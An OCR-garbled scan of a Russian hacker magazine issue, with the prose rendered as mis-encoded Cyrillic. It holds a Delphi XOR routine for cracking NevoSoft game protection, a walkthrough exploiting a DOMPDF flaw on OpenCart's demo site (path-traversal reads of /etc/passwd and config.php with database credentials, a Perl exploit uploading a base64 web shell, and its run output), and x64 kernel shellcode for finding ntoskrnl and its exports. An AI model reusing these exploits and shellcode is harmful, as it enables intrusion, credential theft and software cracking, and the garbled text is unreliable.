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no Vl,lJ,ee, Ha Bblxoge nOJlYYVlM Kfl104 ,lJ,flS1 geWIIlq,pOBKVI, C novouiuo koroporo MO>KHO 6Y)J,eT uienxan, Vlrpbl KaK opeWKVI. XOR·VlTb 6y,o,eM ronsxo ne asse 256 6aiilT, TaK KaK Mano KTO B Hawe BpeMs:! ucnoneayer KnlO4111 60nbweiil ,o,nlllHbl.

var

i, 0: TFileStrearni b i . bo byte;

x, ii, cc:integer; begin

if open.Execute then begin

SetCurrentDir ( 'C: \11rpbJ OT NevoSoft \Peacecraft \ game');

IIITepeXO)J.MM 8 nartxy C nr-posr

if not(fileexists('nsgame.dat')) then exit; i:~TFileStream.Create('nsgame_dat', fmOpenRead); o:~TFileStream.Create(open,FileName, fmOpenRead); x:=O; ii:=O; CC:~Oi

Ilnepe6~paeM 256 6axT for X:~O to 255 do begin

i.read(bi,l) i o.read{bo.l) ;

~ 051

key.Caption:=format('%s %x', [key.Caption, (bi xor bo ) 1 1 ;

inc (eel;

if ee mod 8 =0 then key.Caption:=key.

Caption+#13#10; end; i.Free; o.Free;

end;

KaK OKa3anOCb, Knl04, II1cnonb3yeMbllll An~ Wll1cppOBaHI-1~, He OY€Hb-TO 60nbwol71: AnlliHa ero cocraanser seero 4 6alllTa. 3a6era~ anepen CKa>KY. YTO An~ Ka>K,lJ,OIl1 V1rpbl OT KOMnaHV1V1 lleacf.odrr cyuiecrsyer YHiI1KanbHbl1ll Km04 wV1cpposaHV1I=!. KaK xe era BbIYII1CnV1Tb?!

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eonst

ckey ~ #77#90; begin

i:=TFileStream.Create(FileNarne, fmOpenReadl;

for x:=l to 2 do begin

i.Read (tmp, 11 ; trnp:=ord{ckey(x]l xor tffiP; key,~key+chr(tmpl ;

end; key:=key+#O#Oi

Tenepb B HaWIIIX pyxax ecrs 3aB€THbl~ KnI04-MOHTlI1pOBKa, 111 MO>KHO CMeno npncrynars K Hanll1CaHV11O caMoilt nporpaMMbl An5=! B3nOMa

(Flash-sepcas nonuapcraa sa npuaueccy OHJla~H)

CKPllHWOTbl 113 IIrpbl nOJ1UapCTsa sa npuuueccv.

J E4ALLWBS.tmp:12no n",l"!i<)"i!~"-,-!
I--'- TCPIlP L Security l_ Environment J Strings
Image I Performance I Performance Graph I Threads
Image File
_j
Version: n{a
TIme: 20.09.2009 23:07
Path:
~prp~t C·T He' . .Ic.Soft',Peace.craft·,gome\E4P,Ll',l'iB5.tm.i> I
Command line:
l'E4AllWBS.tmP" I
Current directory:
I C:\V1rpbl OT NevoSoft\peacecraft\game\data\ I
Parent: run, exe( 13964)
User: MICROSOF-696AAE\Admin I ~e, • I
Started: 23:07,26 20.09.2009 I§.ring to Front I
Comment: I I 1 Kill Process I
Data EXecution Protection (DEP) Status: Disabled
I OK I I Cancel I Bbl'lHCIlHB nOA03pHTellbHbliil npouecc B CHCTeMe, 06HapY>KHBaeM, 'ITO OH HaXOAHTCl1 B nanxe C Hrpoiil - CTOHT K HeMY BHHMaTellbHee npHrlll1AeTbCl1

Mbl m1CAJlH. Mbl nHCAJlH. HAWH nAJlb4HKH YCTAJlH ...

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nOKa3aTb V1rpy npyrv

non~apCTBa sa npuaueccv

3KCKnlO3MBHO aa NevoSoft.ru

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~ 052

Jl106HMal1, a rnaaaoe - 6ecnllaTHal1 I1rpYWKa

nYKCOp 3

5. 3epKaJlO Tai1H

XAKEP 06 /137/10

Bbl'lIllCnSleM KnlO'I AnSI AewlIIQJPoBKIll nYTeM npoBeAeHIllSi onepa4111111 XOR Ha nepasre 6ai1Tbl IIIrpbl III QJai1na nsgame.dat

procedure wrap(filename:string); var

i, 0: TFileStreami bi, bo, tmp;byte; X, ii:integer;

key i s t r i no l a j ;

buffer TMemoryStream; const

ckey begin

#77#90;

if not(fileexists(filename}) then exit;

i:=TFileStream.Create(filename, fmOpenRead);

0: =TFileStream. Create (ChangeFileExt (filename, .exe') I fmCreate)' buffer:=TMemoryStrearn.Create;

for x:=l to 2 do 1/ BHqMCn~eM KpMnTO-Krr~q begin

i . Read ( tmp, 1) ; tmp:=ord(ckey[x]) xor tIDp; key;=key+chr(tmp);

end; key;=key+#O#O;

i.Seek(O,soFromBeginning) i X:=Oi ii:=O;

while i.position<i.Size do

begin

XAKEP 06 /137/10

inc (ii) i i.Read(bi, 1);

bo;=bi xor ord(key[ii)); buffer.Write(bo,l); inc(x) ;

if ii=4 then ii:=O; end;

o.Write{Buffer.MemoryA, Buffer.size}; i.Free;

o.Free;

buffer.Free;

showmessage('Wrapping done'); end;

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V1 6na-6Jla-6Jla. 3TO Morno 03Ha4aTb, 4TO y HIIIX H3 cepsepe PHP CKOHq,~ryp"pOBaH KaK allow_url_fopen=off. np" TaKOM pacxnane nporoxcn data He pa60T3eT, Ill, eCTeCTBeHHO, RFI TYT TO>Ke He npoaner. 06lt1AHO, KOHe4HO. HO MeH$1 3TO He OCT3- HOBIIlJlO - R peurwn IIlCK3Tb APyrow cnocof 3anonY4lt1Tb uienn Ha oq,q,cae;Te AB""'Ka

KCTaTVI, H3 nOKa.nbHOM cepaepe >Ke.naTe.nbHO IIlMeTb TY >Ke KOHcpll1rypaL\V1fO, 4TO VI ua YR3Blt1MOM, 4T06bl MaKClt1ManbHO npll16m13V1Tb obcros-enecrea noxaneuoro TecTV1pOS3Hl-1)l K pea.nbHbIM. n03TOMY ~ 111 Y ce6$1 asrcraaan allow_url_fopen=off, 4T06bl B 6YAyw,eM He HacrynaTb Ha rpabnn. OAHaKO. <orna

XAKEP 06 /137/10

recrupyeu.s ,QBlt1>KKltl, CTOIllT -racrpaaaars PHP Ha caMYIO M"rKylO KOHq,"rypa~~IO.

CEPI1R HEY,IlA4 ...

Cua-iana )1 XOTe.n nOCMOTpeTb, KaK pafiorae r Y$13BV1MOCTb Ha ot:PCPcaViTe ABV1>KKa. Bnpyr 411lTaTb cpaVlJlbl BOBce He no.nY4I11Tcs? Ho vero raAaTb - Ha6V1paeM B bpayaepe:

http://derno.opencart.com/system/ helper/dompdf/dompdf.php?input_ file= .. 1 .. 1 .. 1 .. 1 .. 1 .. 1 .. Ietc/passwd

V1 CKa4V1BaeM PDF-cpaCiin co cnVlCKOM nonb30B3TeneVi CV1- [TeMbl. Hennoxo, HO 3TO HaM Mano nOMO>KeT. $=I npVlHs=lnCs=! aa nOIl1CKII1 KOHcplt1rypaL\VlOHHbIX cpaVin03 B Hage>K,lJ,e HaVin1 aYTeHTV1cplt1KaL\lt10HHb!e AaHHble. nr::s=lMO 8 «op-re C"CTeMbl OpenCart nexvr config.php. Ho "Mee; BB~AY. 4TO, npexne 4eM CKa4V1saTb PHP-q:,awJl, HaM Ha,QO era

BO 4TO-HVl6Y,Qb npe06pa30BaTb, VlHa4e OH npOCTO Bblrionuurca KaK KO.o.. 3Ha4V1T, R,D,OBVlTbIVi URL nplllo6peTaeT TaKoilt 8101,0,:

http://demoopencart.com/system/helper/ dompdf/dompdf.php?input_file=php,11

~ dvd

Ha A~CKe "1l1" BV1,lJ,eOpOJlIllK, AeMOHCTp"pYlOll1"e; 83nOM, 6aW-CKpIlInT AIm ncncxa y$13BII1MOCTei1,

a TaK>Ke 06a 3KcnnOVITa )J,11S=1 ,Ll,BVl)KI<a Open-

Cart lronsxo An" o3HaKOMneH""i55

Mo~ 6aW-CKpliinT Anfl noacxa Yfl3BIiIMOCTe~ sa pa60TO~

~ 057

filter/convert.base64-encodel resource= .. / .. 1 .. Iconfig. php

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<?php

II DB

define('DB_DRIVER', 'mysql'); define ( 'DB_HOSTNAME' ,

'localhost') ;

define ( 'DB_USERNAME' , 'opencart_llser') ; define ( 'DB_PASS,IORD' , ')1$IkIS;15Yf') ; define('DB_DATABASE' 'opencart_demo') ; define('DB_PREFIX', ");

?>

Tenepb eCTbJlOrVlH lI1 napons nonsaoearens MySQL. Haao npoeep-rrs cepsep Ha Hanli14l11e orxpuroro nopra 3306. C 3a6yropHoro AeA""' aanvcxao:

nmap 85.13.246.138 -p 3306

nmap c905l.L\aeT a TOM, 4TO nopr OTKpbIT. C roro xe ,!J,e,!J.II1Ka npo6yeM:

AOKYMeHTaLV1S1 PHP no MeToAY PUT

mysql -h 85.13.246.138 -u opencart_liser -p

Y Hac aanpaun-aator napons. BSOAII1M ero, HO Hac urn-or JleCOM. MHor04111cneHHbie nOnblTKII1

C pa3HbiX cepsepoa. -repes pa3Hbie npoxcu 111 pa3Hbie MeTO,JJ,bl He naior HII1KaKl>1X pe3ynbTaTOB:

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http,I/ ... /dompdf.php?input_ file=php,llinput

6blCTPO Ha6pocas Ha KoneHKe Perl-CKpll1nT, s:I npf1HI1JlCI1 recrwpoaars 3TOT MeTog. Ho 6blJl >K~TKO orop-reu. ,1J.aHHble, npVlHII1MaeMble 1113 POSTMaCCl>1Ba, npIllXO,IJ,Vl11V1 KaK 3aKO,Il,lIlpOSaHHble URL- 3KSIllBaneHTbl; K TOMY >Ke nonHOCTblO npnxonuno KaK cOp,ep>Kl>1MOe, TaK VI Ha3BaHV1e nepeMeHHo!il. To ecrs. nony-rancce TaKOe 6e306pa3l11e:

var=%3C%3Fphp%20echo%28999%29%3E

nOH51THO, '-lTO :310 He 6yp,eT Bblno.nH~TbC51 KaK KOA. CHOBa Ha,IJ,O fiuno P,YMaTb l>1 V1CKaTb ansTepHCllll1tlHble tlapll1aHTbl, a Se,IJ,b C4aCTbe 6blJlO TaK 5nl>13Ko. B nOV1CKax MeTop,OB Mogl>1¢!ltKaLJ,\II1I1 nepenasaevux 3Ha4eH"" -repes php://input" Ha6pen Ha MeToA PUT. HaAO 6bl nonpoboaars ero - OH npouie, 4eM POST, HO nOAAep>KWB2- eTCI1 He BceMII1 cepaepat-ra 111 He scerna. iI1TaK,

l\YIttar fH ... x NewlllD x Cl ~ttp"/lDca ... x _'Ip~p inlfnt ...

"'PHPManuai

«Uploatfing multiple fiJes

"'w'~~IIIJO"" ~kl"~"MO:==3~m

~Handling fife uploads

PUT method support

• J>OS1 ... "hc<l uplOD.~'

• e"«Me"~~·F.·rAnl"'~

IItlp"flOL. > .{lpllpWTap ... x eiPHP".ust". " [jPHP.PHPI... x .·lpllpJ/stdJ.H x [j1PHP·OO ... "

U$lng remote jres»

• Upl""dln~mul!iploh"'.

• PUT mf'hQd'~~POn

PHP prollides support tor the HTTP PUT mcurcc used by some cncras 10 store ~Ics on" seNer. PUT requests are much simpler tn(U1 "flle upload uShlg POST .equests ""dlllCy 1(>(>1< ~(>melhing fike Ihis;

crllli ~UTIJlu!.php

Tills would nl)mlaily meen Ihal Ihe remote cneru \Vould hke 10 save Ihe COlllenl Ihal renews as:/palhhllename.ntml III your web tree. II IS otwlously nOI a 900(1 Idea for Apache 01 PHP 10 aUloma!icauy lei eve,ybody ovel\' •• ne any hIes In youl web uee. So. to Ilandle such a request you have 10 IlrM tell youl web server thai you W'illll a ce,taill PHP SCliPllO Ilandle ure request, II' Apache you oo Ihis with the Scrlpl (Iireclive.1I can be placed all1lost anywhele In YOUI Apacllc configulalion ~Ie. A common placc is inslac a ~OlfcClOry> Dlock or perhnp~ ms.oe a "V;,IJ/,lll-loSI:> block. A line Irke this wo<>d do the ntck;

ElIan:pl.lil SavlnglHTPPUT Illes

Tills tells Apache to send all PUT reqcests to( URis rhat match the conle~1 m which you pUI this ~ne 10 me pUI.php scnpt. Tills assumes. 01 course. Ihat you have PHP enabled 10' Ute .php eXl<!flslQrl and PHP IS aClive. TIle uesnnaucn resourcetor arl PUT requests 10 Ihis scriplhMlo ee me scrip! nse~. not 11 ~Ienametheuploade(l Me should have.

W~h PH? you would then (10 something like the 101J00\1ng in your plrt.php. This wo\lld copy the ccraerus 01 me uploaded ~le to me ~Ie mypUllr1c.e~r on the seNe'. You would probably WMlto plNform some cnecu andlor :Wlhenllcllit lt1(!use.belorepenomlingthls~!ecopy.

<?php

• PlJtd.ll~rornl'SUlonrIlO!"sldm'ITf".II11· $putd.ll~=fope!1(php;f/input·.Y):

• Opm~hl~fot"Tlting·

srp :'fopm("m)lIu1fil •. \'.U· .• ,,~):

• R""'lho!ll,"~1 KS.tl1inw ~"'ljltrolh~fi'"

... ·hlle(SdJt~., fr~.d!$puld.tJ.102.t)) f"Til~$rp.Sdm);

• CI,,~c Iht jlt«m~' fdosI'(Sfll): rdosl'($p~ld.t.);

??

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~ 058

XAKEP 06 /137/10

I)r57sheD

coence-t.ecm system helper dompdf newi.php

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Haw wenn BO Bceil Kpace :)

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my $tmp_shell :::::: «' B64' i <?php

if (@move_uploaded_file($_FILES [ , f i. ' ] [ 'tmp_name' 1 ,$_FILES [ "f i ' ] [ "name t l ) )

ecnoj s J : @unlink(_FILE_l i

B64

my $she1164 = encode_base64 ( $tmp_shell) ;

my $tophp = sprintf {

"cvphp eval (base64decode ( '%s' ) ) i " , encode_base64 ( "file_put_contents( 'i.php', base64_decode (' $shel164' ) ) i")

);

It Stage 1, . exploit ing DOMPDF vulnerability.

my $req = PUT "$url/dompdf.

php? input_file=php / / input", Content => $tophp;

B nepeMeHHOfi $tmp_shell y Hac BpeMeHHblfi MV1HV1-WellJl. Ero aanaua - 3arpY3V1Tb ¢allln

[p,lls:l Hac npennovrwreneao nOnHOlJ,eHHbl~ urennl 111 y,lJ,allV1Tb cauoro cefis. 3TOT MII1HII1-WeJlJl 6YAeT sanncaa B ¢afin i.php npn BblnOnHeH""

XAKEP 06 /137/10

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~

--fl'<iii1ili!

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---"""

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TaKV1M 06pa30M, asrpoc BTOPOIII 3KcnlloiiiT. Oplt1eHTlI1pOBaHHbl~ Ha BapV1aHT, «orna allow_ url_fopen=off. Ha llOKanbHOM cepsepe ace 3aMe4aTeJlbHO paboraer. uienn 3aflV18aeTC)i. Teneps OCTaeTC~ CKpeCTV1Tb nansuu 111 3anYCTlIITb Haw 3KCnJlOiliT nporvs ,lJ,eMOBepClIIVI calliTa. CHOsa COe,lJ,VlHs:lIOCb co CBOV1M p,ep,II1KOM 111 3anYCKalO orryna sxcnnoar.

www-data@sd,/var/www/lib$ . /e.pl -u=http://demo.opencart.com/ -s=. logs.php

www.opencart.com exploit

[-~] Exploiting http://demo. opencart.com/

(+ J Ok, uploading shell.

[+] Ok, response[9] , checking for shell.

(+} Ok, shell, http,//demo. opencart.com/system/helper/dompdf/ newi.php

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~ 060

KaK, Bnp04eM, W livekd [technel.microsoft.com/en-us/sysinternalsl bb896647.aspxl.

AW3acceM6nwpOBaTb "AepHble MOAynw 6YAeM c nOMOl11blO IDA x64.

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1. nonyyeHWe aapeca Ha4ana "Apa [aka ntoskrntl:

2. Pa360p rabnnuu axcnopra ntoskrnl:

3. nonyyeHlI1e anpecos HY>KHbIX ¢YHKLJ,Vlii1;

4. Profit'

V1TaK, Ha4HeM no nop51AKY ..

nOHCI{ 6A3bl H.llPA

nepBblM ,n,e.nOM HaM Heo6xD,ll,II1MO nonY4111Tb basy 51Apa. $1 paCCMOTplO Tpll1 cnoco6a nonY4eHVlR:

• 4epe3 non" CTpyKTYPbl Processor Control Region icOKpal11eHHO PCR):

• 103a51 II1HCTPY,KLJ,1I11O sidt:

• 4epe3 msr (OHII1 >Ke MaWII1HHO-3aBII1CI-1Mble perwcrpul.

KOHe4Ho xe, cnocobu nonYYEHV111 a,IJ,peca Ha4ana s:J,o,pa He VlC4epnbiBalOTCR

XAKEP 06 /137/ 10

" c

,

,

EAIiIHCTBeHHblH x64 urenn-xon, 06HapY>KeHHbIH MHOH iii MlilpHO ne>KallllilH Ha inj3ctor.com

POAHOH IiIHTepcj:JeHC ml64

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0: kdc- ! idt Dumping IDT:

00: fffff8000102c400 nt! KiDivideErrorFault 01: fffff8000102c4cO nt ! KiDebugTrapOrFault 02: fffffBOOOI02c600 n t ! KiNmiInterrupt

Stack = OxFFFFFSOOOOllDOOO 03: fffff8000102c940 nt J KiBreakpointTrap 04: fffff8000102caOO nt! KiOverflowTrap

05: fffff8000102cacO nt J KiBoundFault

06: fffffB000102cbBO nt ! KilnvalidOpcodeFault 07: fffff8000102cd40 nt r KiNpxNotAvailableFault 08: fffff8000102ceOO nt! KiDoubleFaultAbort

Stack = OxFFFFFSOOOOllBOOO

09: fffff8000102cecO nt J KiNpxSegmentOverrunAbort Oa: fffff8000102cf80 nt.! KiInvalidTssFault

Db: fffff8DOOI02dD4D nt! KiSegmentNotPresenLFdulL Oc: f ffff8000102d140 n t ! KiStackFaul t

Od: fffff8000102d240 n t.! KiGeneralProtectionFault De: fffff8000102d340 nt!KiPageFault

10: fffff8000102d680 nt r KiFloatingErrorFault 11: fffff8000102d7cO nt !KiAlignmentFault

12: fffff8000102d880 nt! Ki.Ncheckabor-t;

XAKEP 06 /137/10

Stack = OxFFFFF8000011FOOO 13: fffff8000102dbcO nt 1 KiXmmException

1 f: fffff80001027geO nt ! KiApcInterrupt

zc: ff fff80001 02dd40 nt! KiRaiseAssertion 2d: fffff8000102deOO nt! KiDebugServiceTrap 2£: fffff80001067c70 nt r KiDpclnterrupt

VI-oro 20+ B03MO>KHbIX Baplt1aHTOB, 4TO He TaK y>K Mano.

Ho, 4T06bl onpe,1J.enlt1Tb anpec o6pa6oTYIt1Ka, HaM norpetiye+ca aApec Havana idt. O,1J.VlH Vl3 cnccofios ee nOflyyeHIt1S1 - YTeuue non" KPCR.ldtBase. 0 B"Ae CTPYKTYpbl PCR CnpOC"M, KaK 06b14HO, Y livekd.

0: kd> dt _KPCR nt!_KPCR

+Oxooo NtTib _NT_TIB

+OxOOO GdtBase Ptr64 _KGDTENTRY64

+Ox008 Tss8ase Ptr64 _KTSS64

+OxOlO PerfGlobalGroupMask ptr64 Void

+Ox018 Self Ptr64 _KPCR

+Ox020 CurrentPrcb Ptr64 _KPRCB

+Ox028 LockArray ptr64 _KSPIN_LOCK_QUEUE

+Ox030 Used_Self Ptr64 Void

+Ox038 Ldt.Baee Ptr64 _KIDTENTRY64

+Ox040 Unused [2] Uint8B

+Ox050 Irql

UChar

+Ox051 SecondLevelCacheAssociativity UChar

+Ox052 ObsoleteNumber UChar
+Ox053 FillO UChar
+Ox054 UnusedO [3] Uint4B
+Ox060 Maj orversion Uint2B
+Ox062 HinorVersion Uint28
+Ox064 StallScaleFactor Uint4B
+Ox068 Unused! [3] Pt r Sd Void
+Ox080 KernelHeserved [15] Uint48
+OxObc SecondLevelCacheSi ze Uint48 +OxOcO HalReserved [16] Uint4B
+Oxl00 unused2 Uint4B
+Oxl08 KdVersionBlock Pt.r Sd Void
+Oxl10 Unused3 Ptr64 Void
+Oxl18 PcrAlignl [24] Uint4B
+Ox180 Prcb - KPRCB KaK Tbl MO>KeWb 3aMeTVlTb, YKa3aTenlt1 pacurup.rnvcs r;o

64 5"T, HY " "MeHa noneii icpaBH"Ba" C 32-pa3p"AHOii B"H,1J.o~l TO>Ke nOMeH>=1JlVlCb. Ho ::1":-0 He canoe rnaeuoe. TaK KaK Anti Hac B ,1J.aHHbl~ MOMeHT Ba>KHO CMeLll,eHVle nons IdtBase OTHOCVlTellbHO ua-rana _peR.

~ dvd

ViCXOAH"K" CKOMnVlJll!1pOBaHHoro ,1J.pa~Bepa 1t1Lll,1t1 Ha HaweM DVD.

~ 061

~

<tXopowo, AOnYCT"M, crpyxrypy x64 PCR Mbl ManO-ManbCK" 3HaeM [yeCTb "

/J' xsana livekdl. A OTKYAa Mbl AOCTaHeM ykaaarens Ha KPCR? fn"HeM B KOA l!1 <PYHKW"" "3 hal.dll HalinitializeProcessor.

.., I ,

c C.

· text: 000000008001F240 public HallnitializeProcessor

· text: 000000008001F240 HallnitializeProcessor proe near

; DATA XREF, ,pdata,000000008004C804 0

text ,OOOOOOO08001F240
· text: 00000000800 lF2 4 0 var_28 byte ptr -28h
· text ,OOOOOOO08001F240 var 20 byte pt r -20h
· text ,OOOOOOO08001F240 var 18 qword pt r -18h
· text ,OOOOOOO08001F240 arg_ O byte ptr
· text ,OOOOOOO08001F240 · text ,OOOOOOO08001F240
· text ,OOOOOOOO8001F242
· text ,OOOOOOO08001F246
· text ,OOOOOOO08001F24F
· text ,OOOOOOO08001F252
· text ,000000008001F258
· text ,000OOOO08001F25C
· text ,000OOOO08001F25E
· text ,OOOOOOO08001F262
· text: 00000000800 IF2 65
· text ,OOOOOOO08001F26C
· text ,OOOOOOO08001F273
· text ,OOOOOOO08001F27.'.
· text ,OOOOOOO08001F282 push sub

rbx

rsp, 40h r8, qsi IBh rlOd, ecx

mov

r9d,

rax, [r8+20h]

mov ecx, ecx

l r-ax+al . riOb

shl r9 I cl

lea r-ax I HalpProcessorPCR

cs: HalpActi veProcessors, r9 cmp cs: HalpStaticlntAffinity,

mov dword ptr (r8+64h], 64h

mov [rax+rlO*8} I r8

KaK 8\!1,lJ,\!1M, ykaaarer s Ha peR Ails:! rekyuiero npou,eccopa Mbl MO>KeM YT"HYTb"3 qs.l l Sh]. B 32-6"THO" B"HAe lO3an" eerMeHTHbl" perucrp Is, a reneps gs :J

TaK, a 4TO CTaJ10 C necxparrropaun WJ11030B B idt? HaM BeAb HaAo ,0,0- CTaTb anoec 06pa60T4"Ka int 3 [HY "n" npyroro, no BKyeyl. a y uac TOnbKO ,lJ,eCKpll1nTOpbl WJ1f030B, no KOTOPblM «pa3Ma3aHo» cMew,eHV1e o6pa6oT4V1- xa. OHV1,.KoHeYHO xe, B x64 TO>Ke nOMeH$1JlV1Cb. KaK V1MeHHo? V13MeHeHV1$1 MO>KHO [111 HY>KHO] CMOTpeTb B 0pV1rV1HaJ1bHbIX MaHyanax npm13BO,lJ,V1Ten$1 [AMD, Intel]. HO y Hae ee"4ae nOA PYKO" ronsxo livekd. VI e ero no-rouieio roxe MO)l(HO Y3HaTb HY)l(HYIO "H<Pyl B8011""' dt _KIDTENTRY64, YT06bl Bb!HI HyTb 1113 ornaao-u-ux CV1MB0J10B CTPYKTYPY necxpanrops WJ1103a.

0, kd> dt _KIDTENTRY64
nt!_KIDTENTRY64
+OxOOO OffsetLow Uint2B
+OxOO2 Selector Uint2B
+OxOO4 Lst; Index Pos 0, Bits
+OxOO4 ReservedO Pos 3, Bits
+OxOO4 Type Pos 8, 5 Bits
+OxOO4 Dpl Pos 13, 2 Bits
+OxOO4 Present Pos 15, 1 Bit
+OxOO6 OffsetMiddle Uint2B
+OxOO8 OffsetHigh Uint4B
+OxOOc Reservedl Uint4B
+OxOOO Alignment Uint8B
0, kd> 1Il3 sroro ,o,aMna Mbl ,o,OJl>KHbl nOH$1Tb, rne BHYTpV1 neckparrropa pacncnaraiorcs KyC04K" anpeca 06pa60T4"Ka [OH xe Offset]. AApee, KaK Tbl yxe nOH~J1, TO>Ke 64-6Ii1THbl(;1.

BOT, coficraeuuo. Ii1 see. YTO HaM HY>KHO. Hnxe npV1BO>KY KOA c KOMMeHTaplt1S1MIII, KOTOPblC1 III nony-iaer 6a3Y S1Apa 3Tlt1M cnoco60M.

KPRC

mov rex, gs: [1Sh] ; +Ox038 IdtBase

mov rcx,qword ptr[rex+38h)

Ptr64 _KIDTENTRY64

~ 062

~E;c~n=H=K=O==H=co=n==b=l"=lv=e]k~d~T~e~6~e~H~e~n~O~A~Y§UW~e~ __ ~§3~ailln~Y~C~K~aU~~~ livekd c napaMeTpOM -w I

i norryyeHMe a~eca o6pa6oTYMKa inc 3

; Pa3Mep AeCKpMTITOpa llinD3a Teneph 16 6awT. Hy~eH TpeTwM o6pa6oT~MK OT 0

i INT_X _ KOHCTaHTa ~ 3 add rcx,16*INT_X

; co6MPaeM BMeCTe nOJIS OffsetLoN, OffsetMiddle M OffsetHigh CTPYKTYP~ KIDT&~TRY64

mov r11,qword ptr [rex]

and rll, OFFFFh

mov rcx, qword ptr [rcx+4]

; Tenepb B rex a~pee o6pa6oTYMKa int 3 {Offset) mov eX,r11w

and eX,OFOOOh ; o6Hyn5ieM MJlaAIlU1e 12 6J1T anpeca

search_Ioo: i L{l1:K"' nQ1.1CKa 6a3b1. ntoskrnl

cmp word ptr [rex], 'ZM'

jnz nxt

sub raX,rax

i eax -> PE offset

mov eax,dword ptr [rcx+3ChJ i npoaepxe cur-aa-rypa PE

cmp word ptr [rcx+rax), 'EP' jz founded

nxt:

i npononxaen nOJ1CKV1"

sub rcx,1000h ; TaK 6~cTpee 8cero jmp search_loo

founded:

3TOT MeTo,o, TaK>Ke OCHOBbIBaeTC~ Ha idt. OH HeCKonbKO naKOHIllYHeC1,

4eM npeAbIAyw,IIIC1, HO TaK>Ke VlMeeT pS1,1J, oco6eHHocTellt no cpaBHeHVlIO C aHanOrVlYHblM cnocofio» AJl$1 32-pa3p51AHo(;1 BepcVlIII Windows. OCHoBHa~ npVlYVlHa pa3nVl4111V1 - 1II3MeHeHi/le ¢opMaTa pert+crpa idtr. none JlIi1MIIITa He nOMeHS1JlOCb (KaK 6blJlO 2 6aC1Ta, TaK 111 ocranocsl. a BOT none 6a3bl crane paBHblM 86aihaM.

CTpYKTypa idtr Ha x64 cnenyictuan:

t.ypede f st 1 uc t. IDTR

{

USHORT usLimit; ULONGLONG uBase; }IDTR;

nonY""B 6a3y idt, Ae"CTByeM "HCTpYK~"eii sidt TaK xe, KaK " B npenunyLlieM np"Mepe .. 06Hyn"eM MnaAW"e 12 6"T aapeca n, BbI4"Ta" no 1000h, npoaepsev C"rHarypbl MZ " PE.

XAKEP 06 /137{ 10

Ew,e O,lJ,I-1H KpaCII1BblVl cnoco6 3aKnfOLJaeTGl B nOJlYLJeHV1111 anpeca KiSystemCal164 [TaK Ha3blBaeTCR 06pa60T4"K B 64-6"THOM RApe] "3 rnsr perucrpa Istar (era anpec OxC00000821. 3TOT perucrp [KaK, aepoarso. refie 1t13BeCTHO]lt1cnOJlb3yeTCs:! KOMaH,lJ,oi:t syscall.

sub rex,rex

mov ecx,OC0000082h ; a~pee msr B ecx

rdmsr ; ~HTaeM MornWHHO-3aBWCMMHW perMeTp lstar

llocne 3TOro B nape perncrpos edx.eax 6Y,lJ,eT conepxarscs aapec KiSystemCall64. KCTaTV1, BOBce Heo6~3aTenbHo LJV1TaTb II1MeHHO per.icrp Istar. Bo06111e, "HeTpyK~"R syscall B long mode [pe>l<"M npoueccopa, B KOTOPOM pafioraer 64-pa3p)=!,lJ,Has:! 8V1H,lJ,a] ioaaer 2 msr perucrpa: cstar l!I lstart Ans:! compatibility l!I 64-bit mode COOTseTCTBeHHO. TaK K LJeMY 3TO

R BeAY? B msr cstar (OxC0000083i roxe nexur aapec. np"HaAne)l(al11"" A"ana30HY anpecos ntoskrnt: - 3TO anpec npouenypu KiSystemCal132 ,Qanee no yxe lt13BecTHoi:t rebe cxeve nony-raev anpec Ha4ana snpa

PA360P 3KCnOPTA B WINDOWS X64

Teneps npucrvnaev K nOJlYLJeHIIHO anoecca HY>KHbIX ¢YHKLI,l!Ii:t. TaK KaK Mbl lt1MeeM AeJlO C ¢opMaTOM PE32+, HaAO Y4l!1TbiBaTb ero cneLJ,l!Icpl!lKY. 06pl!lCyfO OCHOBHble MOMeHTbl, <oropsre nOMeH)=!Jllt1Cb. Ecnll1 Tbl lt1MeeWb onsrr Hanl!lCaHI.1)=! WeJlJl-KO,n,OS AJls:! win32, TO HasepHs:!Ka 3HaeWb, 4TO noJlY4lt1Tb ykaaarens ua AV1peKTOplt11O 3KcnopTa MO>KHO, nplt16aBI.1B K a,o,pecy Ha4ana IMAGE_NT_HEADERS 78h. B win64 Mbl np"6aBnReM 88h. YBeJl1!14eHl!1e 3HayeHI-1~ BeJlI-1YI-1Hbl cMew,eHl!1~ 06YCJlOBJleHO YBeJlV1yeHltleM HeKoTopblX nOJler::i B PE32+ no cpaBHeHIIHo C PE32.

B3rnRHeM ua CTpyKTypy _IMAGE_NT_HEADERS64o

typedef struct _IMAGE_NT_HEADERS64

DWORD Signature;

lMAGE_FILE_HEADER FileHeader i lMAGE_OPTIONAL_HEADER64 OptionalHeaderi

lMAGE_NT_HEADERS64, *PI~~GE_NT_HEADERS64;

To eCTb J.13MeHeHI.1H KOCHYJlI.1Cb noneji OnLJ,IIIOHaJlbHOrO aaronosxa. V13-3a sroro nplt1WJ10Cb nOMeHflTb cMew,eHlt1)=!. KCTaTI.1 IMAGE_EXPORT_ DIRECTORY [KaK" IMAGE_DOS_HEADER) He nOMeHRnacb, 4TO urpaer HaM Ha pyKy.

B 3aKJlK)YeHV1e npItlBO>KY KOA pasoopa Ta6Jllt1LJ,bl skcnopra ,lJ,Jls:! PE32+:

shellcode_data:

db "ZwCreateFile",O

; ~eM a~pee HY*HOM ~YHK~MM i export directory

lea .r L'l . [rcx+rax+88h]

sub r12,r12

; export directory rva mov r12d,dword ptr (rIll

; BMpTyanbH~M a~pec lMAGE_EXPORT_DIRECTORY add r12', rex

sub r8,r8

;number of functions

mov r8d,dword ptr [r12+18h] sub r9,r9

i AddressOfNames

mov r9d,dword ptr [r12+20h]

i function names virtual address add r9,rcx

dee r8

i func_name

XAKEP 06 /137/ 10

mav rdi,shellcode_data next_function:

sub rsi,rsi

mov esi,dword ptr [r9+r8*4J add rsi,rex

; c6pocJ.1M qmar HarrpaBJ1eHM.7I, YTo6b: npa xoaaane empsb npOWCXO,llWfl ~BXpeMeHT perMCTpOB

cld

push rdi

. ip:::p;::eM rex _ KQMaH,lla cmpsb era MO,llM~MUMPYcemTpsb Il~

i YCTaHaBnMBaeM CyeT4MK eMMBonOB )lITH KOMaH,llH ~ ~ mov rcx,12

; Ha4MHa€M cpaBHwBaTb CTPOKM nOCMMBOJ1bHO repe cmpsb

jz founded_f

pop rex i BOCCTaHaB.ID1BaeM 3Ha'LIeHItl5I MO..o.11cpJl!Ul1PyeMblx

cmpsb perMcTpoB pop rdi

i YMeHbmaeM eYeT~MK ~YHK~MM dec r8

jnz next_function jmp not_found founded_fo

pop rcx

pop rdi

sub rbx,rbx

